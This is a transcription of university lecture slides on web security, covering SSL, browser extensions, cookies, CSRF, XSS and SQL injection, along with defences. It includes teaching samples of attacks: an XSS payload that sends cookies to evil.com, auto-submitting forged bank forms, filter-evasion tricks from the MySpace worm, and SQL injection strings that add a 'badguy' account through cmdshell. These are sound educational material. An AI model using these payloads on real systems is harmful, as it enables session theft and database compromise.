0 - ITTC

Transcription

0 - ITTC
Trend in Web Vulnerabilities
Risk Based Security’s VulnDB
0 Code quality is increasing
0 Internet ecosystem is getting mature
0 Attacks may be moving towards
custom applications
Version’s 2012 Breach Report
2
Early Web Systems
0 A system of interlinked hypertext documents via Internet
0 Delivering static pages with text, pictures, multimedia and
pointers to other pages
0 Click-render-click cycle of acquiring web content
0 Little user interaction
0 The modern Web deliver
0 dynamic content
0 user-driven content
0 multi-site content
0 With interactive interfaces.
3
Components of the Web
0 The largest distributed system in existence
0 Multiple interacting components
4
Web Security
0 Securing the web infrastructure such that the integrity,
confidentiality, and availability of content and user information
is maintained
0 Many web applications need to be Internet-visible
0 Multiple sources of threats, varied threat models
0 SSL, HTTP
0 Clients: browsers
0 Servers: backend databases are attractive entry points
0 Web Applications
0 Client-side technologies: JavaScript, Flash
0 Server-side technologies: CGI, PHP, ASP
0 Network infrastructure
5
Security Considerations
0 Cookie
0 Dynamic content
0 CGI scripting
0 Embedded scripting (PHP/ASP/JSP)
0 Client web content
0 Java applets
0 JavaScript
0 ActiveX
0 Plug-ins
0 Authenticode
6
Web Security Overview
0 Securing Client-Server Communications
0 Securing Clients
0 Securing Servers
Crypto methods to secure connection
establishment and data transfer (SSL)
• Browser security
• SQL injection attacks
• Attacks driven by downloads
• Cross-site scripting attacks (XSS)
• Cookies
• Cross-site request forgery
7
Topic 7.1: Securing Client-Server
Communications
8
Securing Data in Transit
HTTP
0 Secure Socket Layer Re-visited
0 Used to authenticate servers
0 Certificates and root CAs
0 SSL (and TLS) provides CIA
0 Easy to configure on the servers
0 Can authenticate clients
0 Built into every browser
SSL
TCP
IP
0 SSL only provides a secure pipe
0 Crypto-based solution is not sufficient
0 Problem occurs at the linkage between crypto layer and
applications
0 How to obtain knowledge about the other end
9
Client’s Knowledge about
Servers
0 Client receives the server’s certificate
0 To attest the binding of the server’s identity to a public key
0 Are the CAs trustworthy or competent?
0 PKI business can be sold/consolidated
0 Who checks the binding?
0 Your web browser has a built-in list of CAs – too many roots
0 However, users don’t check certificates (properly)
10
A Phishing Attack
0 In 2006, a phishing site employed a legitimate server certificate
to spoof the website of Mountain America Credit Union
0 Issued by a reputable CA
0 The DNS name was
www.mountain-america.net
0 But the real credit union site is
www.mtnamerica.org
0 Who’s fault?
0 Too easy to obtain certificates
0 Too complicate to verify
11
Server’s Knowledge about
Clients
0 SSL implementation does not use client-side certificates
0 Servers don’t know who’s at the other end
0 Can only set up a secure link when a password is exchanged
0 However, in some electronic commerce scenarios, a
reliable mechanism for customer identification is
preferred
0 Authenticate both buyer and merchant
0 Protect credit card transactions
12
Topic 7.2: Protecting the Client
13
Web Browser Security
0 Attacker’s goals
0 Steal personal information, especially financial site
passwords
0 Turn computers into “bots”
0 Bots can be used for further attacks
0 Denial of service attacks, sending spam, hosting phishing web
sites, …
0 Typical threats
0 Buggy codes
0 User interface
0 Active content
14
Web Browser Security
0 Buggy Codes
Symantec 2010 browser vulnerabilities report
15
Web Browser Security
0 User Interface
Security Severity Ratings: Critical; High; Medium; Low.
None
0 Extensions are not written
by security experts
0 Extensions interact
extensively with web sites
0 Firefox extensions run with
the browser’s full privileges
0 An attacker can usurp a
vulnerable extension’s broad
privileges
Disparity occurs if interface privilege is
greater than behavior privilege.
From “Protecting Browsers from Extension Vulnerabilities”
- a Berkeley study of 25 Firefox extensions in 2009
16
An Example Exploit
“Abusing Firefox Extensions” (Liverani and Freeman, Def Con 2009)
0 CoolPreviews 2.7 accepted URIs without any filtering
0 URI’s contents are accepted and rendered in privileged zone
Malicious link: <a href="data:text/html; base64 , base64 encoded payload " >
Example link to add to stack </a>
0 Malicious URI leads to remote code execution
17
Possible Solutions
0 Least Privilege
Chrome Extension: Gmail Checker extension
0 Privilege Separation
0 Divide extensions into components with
different exposure and privilege levels
0 Isolation Mechanisms
0 Isolate three components and web content from each other
0 Enforce origin, process isolation, isolate content script and website
script environments
18
Web Browser Security
0 Active Content
0 All providers serve up content, including active content
0 All sorts of technologies to improve content
0 Interactivity: Forms, CGI, JavaScript, …
0 Web applications: Java, Flash, ActiveX, …
0 Dynamic content: Servlets, Active Server Pages, …
0 This is also the cause of many nasty security problems
19
Plugins
0 Web pages can contain simple programs or references to
programs
0 MIME map, audio codec, …
0 Users are told “please install this plug-in”.
“Given a choice between dancing pigs and security, users will pick
dancing pigs every time.” (Edward Felten)
David.exe Scam (1997)
Trick user to install a special viewer called
David.exe to view free pornography and
caused $2 per minute long distance telephone
charge.
20
Driven-by-Downloads
0 The abuse of Ad syndication
0 Using a deceptive means to get someone to install something on
their own (spyware/adware)
0 Once you have one, then it starts downloading lots of others, their
friends, …
0 Extortion-ware scam
0 Pay us 40$ for our popup blocker, but the real gambit is that they
demand 40$ for the uninstall option
0 Spyware: hidden software that uses local host to transmit user
secrets
0 Typically found in “free” software: Gnutella, game tools, demo
software, MP3 tools ...
0 Imbeds in local host to add shared libraries
21
JavaScript
0 Used to improve the quality of webpages
0 Should have NO ability to read local files, or open connections
0 The source of most recent security holes in Firefox and IE
0 DOS – the infinite popup script
0 Spoofing – easy to create password dialogs
<html>
<head><script language="javascript">
function popup(){
while (1 == 1) {
window.open("http://www.yahoo.com");
}
}
</script>
</head>
<body onload="popup()"></body></html>
22
Malicious Content Injection
0 MPACK 2007: malicious IFrame
0 An adversary first breaks into a webserver
0 e.g., by sniffing passwords, or infecting a PC with spyware
0 Hosting sever does not have proper security on file systems level
0 Then, places an IFRAME in legitimate content
0 Recursive search for php, htm, html, tpl files
0 Recursively adding IFrame(s)
$iframed_content = str_replace('</body>', '<iframe src=http://[REMOVED].info/counter
style=display:none></iframe></body>', $content);
23
ActiveX
0 ActiveX is a MS windows technology
0 Reusable arbitrary code, called controls (.OCX)
0 Conforms to MS APIs to interact with web
0 Self-installing plug-in, but more
0 Extends user experience in lots of nice ways
0 Microsoft upgrade service
0 BIOS upgrades
0 Lookup services
0 Business reasons
0 The biggest active content design error!
24
ActiveX Security Concerns
0 Initially, MS thought that users would have no problem
with ActiveX controls
0 Just running programs you buy
0 In fact,
0 Any webpage can download other controls
0 No restrictions on what the code can do
0 User not actually be involved/aware in execution: don’t know
where/who the software comes from, nowhere to recourse
0 Only protection is the digital signature
25
Authenticode
0 A fix: make sure code only comes from people that you trust
0 Digital signing ActiveX components
0 Sign ActiveX OCX (or .dll, .exe, .vbd) in a .cab file, sign it with your
key
0 Authenticode
0 Get signed download content, and check that signer is “trusted”
0 Used for all Win* content
0 Still under attacks
0 Weak Verification by CAs: 2001 VeriSign social engineering attack
(MS01-017)
0 Faulty Implementation: remote code execution in 2003 patch
(MS03-041)
26
Topic 7.3: HTTP & Cookie-based
Authentication
27
HTTP: Hyper Text Transfer
Protocol
0 Used to request and return data
0 Methods: GET, POST, HEAD, …
0 Stateless request/response protocol
0 Each request is independent of previous requests
0 Statelessness has a significant impact on design and
implementation of applications
0 Evolution
0 HTTP 1.0, HTTP 1.1 (in common use)
28
HTTP Request
Method
File
HTTP version
Headers
GET /default.asp HTTP/1.1
Accept: image/gif, image/x-bitmap, image/jpeg, */*
Accept-Language: en-us
User-Agent: Mozilla/5.0 (compatible; MSIE 10.6; Windows NT
6.1)
Connection: keep-alive
If-Modified-Since: Mon, 19 Jan 15 04:32:58 GMT
Data – none for GET
29
HTTP Response
HTTP version
Status code
Reason phrase
Headers
HTTP/1.1 200 OK
Date: Mon, 19 Jan 15 04:32:58 GMT
Server: Microsoft-Internet-Information-Server/8.0
Connection: keep-alive
Content-Type: text/html
Last-Modified: Mon, 19 Jan 15 02:15:08 GMT
Content-Length: 33414
Data
<HTML> Some data... blah, blah, blah </HTML>
30
HTTP Digest Access
Authentication
client
server
Request URL with
GET or POST method
• HTTP 401 Unauthorised
• Authentication “realm”
(description of system being accessed)
• Fresh, random nonce
H1=hash(username, realm, password)
H2=hash(method, URL)
H3=hash(H1, server nonce, H2)
Re-compute H3
and verify
31
Primitive Browser Session
www.e_buy.com/
shopping.cfm?
www.e_buy.com
pID=269&
item1=102030405
View catalog
www.e_buy.com/
shopping.cfm?
pID=269
Select item
Check out
www.e_buy.com/
checkout.cfm?
pID=269&
item1=102030405
Store session information in URL, easily to read on network
32
Problems
0 Authenticator is generated
0 When user logs into website with his password
0 Together with the special URL
https://www.fatbrain.com/HelpAccount.asp?t=0&[email protected]&p2=540555758
0 So, user doesn’t need to re-authenticate
0 However, authenticators are global sequence numbers
0 Easy to guess
https://www.fatbrain.com/HelpAccount.asp?t=0&p1=SomeoneElse&p2=540555752
0 Need to use Random Authenticator
33
Problems
0 Encoding State in URL
0 Unstable, frequently changing URLs
0 Vulnerable to eavesdropping
0 No guarantee that URL is private
0 Early versions of Opera used to send entire browsing history,
including all visited URLs, to Google
34
Storing Info Across Sessions
0 Cookie
0 A cookie is a file created by an Internet site to store
information on your computer
0 Offload server state to browsers
Enters form data
Browser
Stores cookie
Server
Includes domain (who can read it), expiration,
“secure” (can be read only over SSL)
Browser
Requests cookie
Returns data
Server
HTTP is a stateless protocol, cookies add state.
35
What Are Cookies Used For?
0 Allows users to have cohesive experience
0 When re-enter site, flow from page to page, …
0 Authentication
0 Use the fact that the user authenticated correctly in the past to
make future authentication quicker
0 Personalization
0 Recognize the user from a previous visit
0 Tracking
0 Follow the user from site to site; learn his/her browsing behavior,
preferences, and so on
36
Cookie Management
0 Cookie ownership
0 Once a cookie is saved on your computer, only the website
that created the cookie can read it.
0 Variations
0 Temporary cookies
0 Stored until you quit your browser
0 Persistent cookies
0 Remain until deleted or expire
0 Third-party cookies
0 Originates on or sent to another website
37
Privacy Issues with Cookies
0 Cookie may include any information about you known by the
website that created it
0 Such as browsing activity, account information, …
0 Sites can share this info
0 Advertising networks
0 Tracking cookie
0 2o7.net
0 insightexpressai.com
The website “insightexpressai.com”
has requested to save a file on your
computer called a “cookie”…
0 Browser attacks could
invade your “privacy”
38
Security Issues with Cookies
0 Dansie Shopping Cart (2006)
0 A premium, comprehensive, Perl shopping cart. Increase your
web sales by making it easier for your web store customers
to order.
<FORM METHOD=POST
ACTION="http://www.dansie.net/cgi-bin/scripts/cart.pl">
Black Leather purse with leather straps<BR>Price: $20.00<BR>
<INPUT TYPE=HIDDEN NAME=name
<INPUT TYPE=HIDDEN NAME=price
<INPUT TYPE=HIDDEN NAME=sh
<INPUT TYPE=HIDDEN NAME=img
<INPUT TYPE=HIDDEN NAME=custom1
with leather straps">
VALUE="Black leather purse">
Change this to 2.00
VALUE="20.00">
VALUE="1">
VALUE="purse.jpg">
VALUE="Black leather purse
<INPUT TYPE=SUBMIT NAME="add" VALUE="Put in Shopping Cart">
</FORM>
39
Security Issues with Cookies
0 Shopping Cart Form Tampering
0 Any application that bases price on a hidden field in an HTML
form is vulnerable to price changing by a remote user.
0 Risks of hidden forms
0 E.g. Estonian bank’s web server
0 HTML source reveals a hidden variable that points to a file name
0 Change file name to password file
0 Webserver displays contents of password file
0 Standard cracking program took 15 minutes to crack root
password
40
Web Authentication via
Cookies
0 Answer: Storing state in browser cookies
0 Set-cookie: price=299.99
0 Add a MAC to every cookie, computed with the server’s secret
key: Price=299.99; HMAC(ServerKey, 299.99)
0 Need authentication system to adapt to website changes
0 It should not require servers to store session data
41
Web Authentication via
Cookies
0 Answer: Servers can use cookies to store state on client
0 After client successfully authenticates, server computes
an authenticator
0 Gives it to browser in a cookie
0 Client cannot forge authenticator on his own
0 Example: hash(server’s secret key, session id)
0 With each request, browser presents the cookie
0 Server re-computes and verifies the authenticator
0 Server does not need to remember the authenticator
42
Better Cookie Authenticator
Capability
Expiration
Describes what user is authorized to
do on the site that issued the cookie
Hash(server secret, capability, expiration)
Cannot be forged by malicious user;
does not leak server secret
0 Main lesson: don’t roll your own!
0 Time limited, unforgeable, privacy protected, location safe, …
0 Homebrewed authentication schemes are often flawed
0 There are standard cookie-based schemes
43
Remaining Security Problem
0 Cookies need to re-authenticate for sensitive stuffs
0 Data are frequently unencrypted
0 Most sites don’t want to use SSL for everything
0 Credentials are easily stolen
0 Cookies with Javascript
0 Cookies stored in separate files
0 Suppose you put a script in a cookie, and reference it by a filename
0 Cross-site scripting attacks (XSS)
0 On sites that allow user input comments, a comment includes
Javascript code that transmit user authentication cookie to other
place
44
Topic 7.4: JavaScript Security
45
XSS Attacks
46
Web Applications
0 Often written from scratch in a mixture of PHP, Java, Perl,
Python, C, ASP, …
0 Security is rarely the main concern
0 Poorly written scripts with inadequate input validation
0 Try http://www.ittc.ku.edu/~fli/script-attacks/sample.htm
0 Sensitive data stored in world-readable files
0 MasterCard breach in 2005
0 PCI DSS co-developed by Visa and MasterCard to improve the
security of cardholder data
0 EMV smartcard
47
JavaScript
0 Language executed by browser
0 Can run before HTML is loaded, before page is viewed, while
script defines a
it is being viewed or when leaving the page
<script type="text/javascript">
function whichButton(event) {
if (event.button==1) {
alert("You clicked the left mouse button!") }
else {
alert("You clicked the right mouse button!")
}}
</script>
…
<body onmousedown="whichButton(event)">
…
</body>
page-specific
function
function gets
executed when
some event
Happens: onLoad,
onKeyPress,
onMouseMove…
48
JavaScript in Web Pages
0 Event handler attribute
0 <a href=“http://www.yahoo.com” onmouseover=“alert('hi');”>
0 Embedded in HTML page as <script> element
0 JavaScript written directly inside <script> element
0 <script> alert(“Hello World!”) </script>
0 Linked file as src attribute of the <script> element
0 <script type=“text/JavaScript” src=“functions.js"></script>
0 Pseudo-URL referenced by a link
0 <a href=“JavaScript: alert(“You clicked”);”>Click me</a>
49
JavaScript Security Model
0 Script runs in a “sandbox”
0 No access to local files; restricted network access
0 The Same-Origin Policy
0 Frame can only read properties of documents and windows from
the same place: server, protocol, and port
0 If the same server hosts unrelated sites, scripts from one site can
access document properties on the other
0 User can grant privileges to signed scripts
0 Object signing (Netscape, Mozilla) provides a digital guarantee of
the origin of active content
0 UniversalBrowserRead/Write, UniversalFileRead, UniversalSendMail
http://www.devarticles.com/c/a/JavaSc
50
Cookie-Based Authentication
Browser
Server
51
Cookie Authentication: Not Enough!
1. User logs into www.bank.com, but forgets to sign off
0 Session cookie remains in browser state
2. Then, user visits a malicious website containing
<form name=BillPayForm
action=https://www.bank.com/BillPay.php>
<input name=recipient value=attacker> …
<script> document.BillPayForm.submit();</script>
3. Browser sends cookie, payment request fulfilled!
Lesson: cookie authentication not sufficient when side effects can
happen
52
Sending a Cross-Domain POST
0 User visits a malicious page www.attacker.com, browser
submits form on behalf of the user
0 Create hidden iframe
0 Submit post
<form action=https://www.bank.com/transfer method=“POST”>
<input type=“hidden” name=recipient value=attacker>
<input type=“hidden” name=amount value=$100>
</form>
<script> document.forms[0].submit();</script>
53
Cookies in Forged Requests
Cookie: SessionID=523FA4cd2E
54
XSRF: Cross-Site Request Forgery
Server victim
1
4
2
User victim
Attack server
55
XSRF: Cross-Site Request Forgery
0 Same browser runs a script from a “good” site and a
malicious script from a “bad” site
0 Requests to “good” site are authenticated by cookies
0 Malicious script can make forged requests to the “good” site
with user’s cookie
0 Hijack any ongoing session
0 Netflix: change account settings
0 Gmail: steal contacts
0 Many other attacks with potential for much bigger damage
0 Drive-by pharming
56
XSRF Defense
0 Add secret token to forms <input type=hidden value=23a3af01b>
0 Bind token with session ID – keyed HMAC
0 Referer Validation

?
Referer: http://www.facebook.com/home.php
Referer: http://www.evil.com/attack.html
Referer:
0 Custom HTTP header X-Requested-By: XMLHttpRequest
0 Request without “X-Requested-By” will be dropped by server
0 Form, image, iframe, etc cannot set custom header
57
Risks of Poorly Written Scripts
0 Echoing user input is a classic mistake in server-side
applications
http://naive.com/search.php?term=“Britney Spears”
search.php responds with
<html> <title>Search results</title>
<body>You have searched for <?php echo $_GET[term] ?>… </body>
Or
GET/ hello.cgi?name=Bob
hello.cgi responds with
<html>Welcome, dear Bob</html>
58
Demo
0 The WebGoat Project:
https://www.owasp.org/index.php/Category:OWASP_Web
Goat_Project
0
59
XSS: Cross-Site Scripting
evil.com
E.g., URL embedded
in HTML email
victim’s
browser
naive.com
hello.cgi
Access some web page
<FRAME SRC=
http://naive.com/hello.cgi?
name=<script>win.open(
“http://evil.com/steal.cgi?
cookie=”+document.cookie)
</script>>
Forces victim’s browser to
call hello.cgi on naive.com
with this script as “name”
GET/ steal.cgi?cookie=
GET/ hello.cgi?name=
<script>win.open(“http://
evil.com/steal.cgi?cookie”+
document.cookie)</script>
<HTML>Hello, dear
<script>win.open(“http://
evil.com/steal.cgi?cookie=”
+document.cookie)</script>
Welcome!</HTML>
Interpreted as Javascript
by victim’s browser;
opens window and calls
steal.cgi on evil.com
hello.cgi
executed
60
Why It Works?
0 Why victim’s cookie is returned?
0 Javascript from a site can access that site’s cookie
0 If Javascript contains malicious code, it can steal cookies and send
them to some other site
0 Why would user click on such a link?
0 Phishing email in webmail client
0 Link in double-click banner Ad
0 Many other ways to fool user into clicking
0 What if evil.com gets cookie for victim?
0 Cookie may include session authentication for victim
0 Cookie may include data intended only for victim – violate the same
origin policy
61
XSS: Cross-Site Scripting
0 Reflected (non-persistent) XSS
0 Attacker inserts malicious JavaScript into a Web page and tricks the
user to visit
0 E.g., phishing email, link in a banner ad, comment in a blog
0 Bug in an honest website code causes it to echo to the user’s
browser an arbitrary attack script
0 Attacker can execute arbitrary scripts in browser
0 The origin of this script is now the website itself
0 Script can further manipulate website contents (DOM)
0 To show bogus information
0 To request sensitive data
0 To cause user’s browser to attack other websites
0 To control form fields on this page and linked pages
62
XSS: Cross-Site Scripting
0 Stored (persistent) XSS
0 User-created content: blogs, forums, wiki, images, …
0 JavaScript supplied by the attacker is stored by the website
0 When visitor loads the page, website displays the content and
visitor’s browser will execute the script
0 More dangerous than reflected XSS
0 Many worms: MySpace, Twitter, Orkt, Youtube
0 MySpace.com phishing attack injects password field that sends
password to the attacker
0 Samy’s worm: infects anyone who visits an infected MySpace page
and adds Samy as a friend.
0 5 hours later, Samy has 1,005,831 friends (1000/s)
0 Millions of friends within 24 hours.
63
Preventing Cross-Site Scripting
0 Any user input and client-side data must be preprocessed
before it is used inside HTML
0 Remove/encode HTML special characters
0 Use a good escaping library
0 OWASP ESAPI (Enterprise Security API)
0 Microsoft’s AntiXSS
0 In PHP: htmlspecialchars(string) is used to replace all special
characters with their HTML codes
0 In ASP.NET, Server.HtmlEncode(string) is used
64
Preventing Cross-Site Scripting
0 Preventing injection of scripts into HTML is hard!
0 Blocking “<” and “>” is not enough
0 Many ways to inject:
0 Event handlers, stylesheets, encoded inputs (%3C)
0 Evading XSS filters
0 Script in iframe
0 <iframe src=`https://bank.com/login’ onload=`steal()’>
65
MySpace Worm
0 Users post HTML on their Myspace pages
0 Myspace does not allow scripts in users’ HTML
0 No <script>, <body>, onclick, <a href=javascript://>
0 But it does allow Javascript in CSS tags
0 <div style=“background:url(‘javascript:alert(1)’)”>
0 Myspace strips out “javascript”
0 Use “java<NEWLINE>script”
0 Store JS in an expression and execute by name
0 So, only single quote is needed
0 <div id="mycode" expr="alert('hah!')"
style="background:url('javascript:eval(document.all.mycode.expr)')">
0 Myspace strips out all escaped quotes
0 But we can convert decimal to ASCII in JS to produce the quotes
0 alert('double quote: ' + String.fromCharCode(34))
66
Server-Side Scripts
0 Most interesting web sites use server-side scripts
0 CGI, ASP, PHP, server-side Javascript, python, etc.
0 Nice at generating output
0 Each script is a separate network service
0 What security context do scripts run in?
0 How does the server protect its sensitive files against
malfunctioning scripts?
0 This is a particular problem with server plug-ins, such as PHP
0 For a web site to be secure, all of its scripts must be secure
0 Dangerous if tied to user input
67
Injection
0 Attacker who can inject arbitrary inputs into the system
can control it in subtle ways
0 Interpreter injection
0 If you can get PHP to “eval” your input, then you can run
arbitrary code on the browser
0 e.g., leak cookies to remote site, session hijacking
0 Filename injection
0 If you can control what a filename is in application, then you can
manipulate the host
0 Poorly constructed applications build filename based on user
input or input URLS, e.g., hidden POST fields
0 e.g., change temporary filename input to ~/.profile
68
URL Redirection
Example:
http://victim.com/cgi-bin/loadpage.cgi?page=url
0 Redirects browser to url
0 Commonly used for tracking user clicks, referrals
0 Phishing website puts
http://victim.com/cgi-bin/loadpage.cgi?page=phishing.com
0 Everything looks OK: the link is indeed pointing to
victim.com
0 But user ends up on phishing site
69
SQL Injection
0 One of the most widely exploited and costly in web history
0 An injection that exploits the fact that many inputs to web
applications are
0 Under control of the user
0 Used directly in SQL queries against back-end databases
70
Example: User Data in SQL Queries
set UserFound=execute(
SELECT * FROM UserTable WHERE
username=′ ” & form(“user”) & “ ′ AND
Only true if the result of SQL
query is not empty
i.e., user/pwd is in the database
password=′ ” & form(“pwd”) & “ ′ ” );
0 User supplies username and password, this SQL query
checks if user/password combination is in the database
If not UserFound.EOF
Authentication correct
else Fail
71
Example: SQL Injection
0 What if a user gives username: ′ OR 1=1 -0 Web server executes query
set UserFound=execute(
SELECT * FROM UserTable WHERE
username=′ ′ OR 1=1 -- );
Always true!
Everything after -- is ignored!
0 This returns the entire database!
0 UserFound.EOF is always false
0 Authentication is always “correct”
72
Another SQL Injection Example
0 To authenticate logins, server runs this SQL command against
the user database:
SELECT * WHERE user=‘name’ AND pwd=‘passwd’
0 User enters ’OR WHERE pwd LIKE ‘% for both name and passwd
0 Server executes
SELECT * WHERE user=‘ ’ OR WHERE pwd LIKE ‘% ’ AND pwd=‘ ’ OR WHERE
pwd LIKE ‘%’
Wildcard matches any password
0 Logs in with the credentials of the first person in the database
(typically, administrator!)
73
It Gets Better …
0 User can also set username as:
′ exec cmdshell ’net user badguy badpwd’ / ADD --
0 Web server executes query
set UserFound=execute(
SELECT * FROM UserTable WHERE
username=′ ′ exec … -- … );
0 Creates an account for badguy on DB server
74
Example: Uninitialized Inputs
/* php-files/lostpassword.php */
for ($i=0; $i<=7; $i++)
$new_pass .= chr(rand(97,122))
Creates a password with 7 random
characters;
Assuming $new_pass is set to NULL
…
$result = dbquery(“UPDATE ”.$db_prefix.“users
SET user_password=md5(‘$new_pass’)
WHERE user_id=‘”.$data[‘user_id’].“ ’ ”);
In normal execution, this becomes
SQL query setting
password in the DB
UPDATE users SET user_password=md5(‘???????’)
WHERE user_id=‘userid’
75
Example: Exploit
0 However, user can append the following:
&new_pass=badPwd%27%29%2c
user_level=%27103%27%2cuser_aim=%28%27
This sets $new_pass to
badPwd’), user_level=‘103’, user_aim=(‘
0 SQL query becomes
UPDATE users SET user_password=md5(‘badPwd’)
user_level=‘103’, user_aim=(‘???????’)
WHERE user_id=‘userid’
User’s password is set to
‘badPwd’
… with superuser privileges
76
Preventing SQL injection
0 Validate all inputs
0 Filter out any character that has special meaning
0 Apostrophes, semicolons, percent symbols, hyphens, underscores, …
0 Check the data type
0 e.g., input must be an integer
0 Escaping quotes
0 Special characters provide distinction between data and code in
queries
0 For example: ’
0 Use escape characters
0 When valid string inputs containing quotes
0 Prevent the quotes from becoming part of the query code
77
Taint Tracking
0 Taint tracking is the most common program analysis technique
used to detect and prevent injection attacks
0 Can be done statically or dynamically (e.g., Perl taint tracking)
0 Any variable that can be modified externally is risky
0 Mark all input data as tainted (untrusted)
0 Track all derivative information
0 E.g., if “c” is tainted, then “a = b + c” causes “a” to be tainted
0 Remove the taint flag when data is sanitized
0 This can be hard to get right
0 Warn if tainted variable is used to execute sensitive operation (e.g.,
SQL query API)
78
Preventing SQL injection
0 Whitelist permitted characters
0 Blacklisting “bad” characters doesn’t work
0 Forget to filter out some characters
0 Could prevent valid input (e.g., last name O’Brien)
0 Allow only well-defined set of safe values
0 Set implicitly defined through regular expressions
0 Use parameterized SQL statements (prepared statements)
0 Data are interpreted as code
79
Preventing SQL injection
0 Bind variables: placeholders guaranteed to be data (not code)
0 Prepared statements: allow creation of static queries with
bind variables
0 This preserves the structure of the intended query
0 Built (static analysis) tools for finding unsafe input code
and (dynamic tools) to track the use of inputs within the
web application lifetime
80

Similar documents

Referer Privacy Problems

Referer Privacy Problems Browser sends malicious input to server n  Bad input checking leads to malicious SQL query ! CSRF – Cross-site request forgery n  Bad web site sends browser request to good web site, using creden...

More information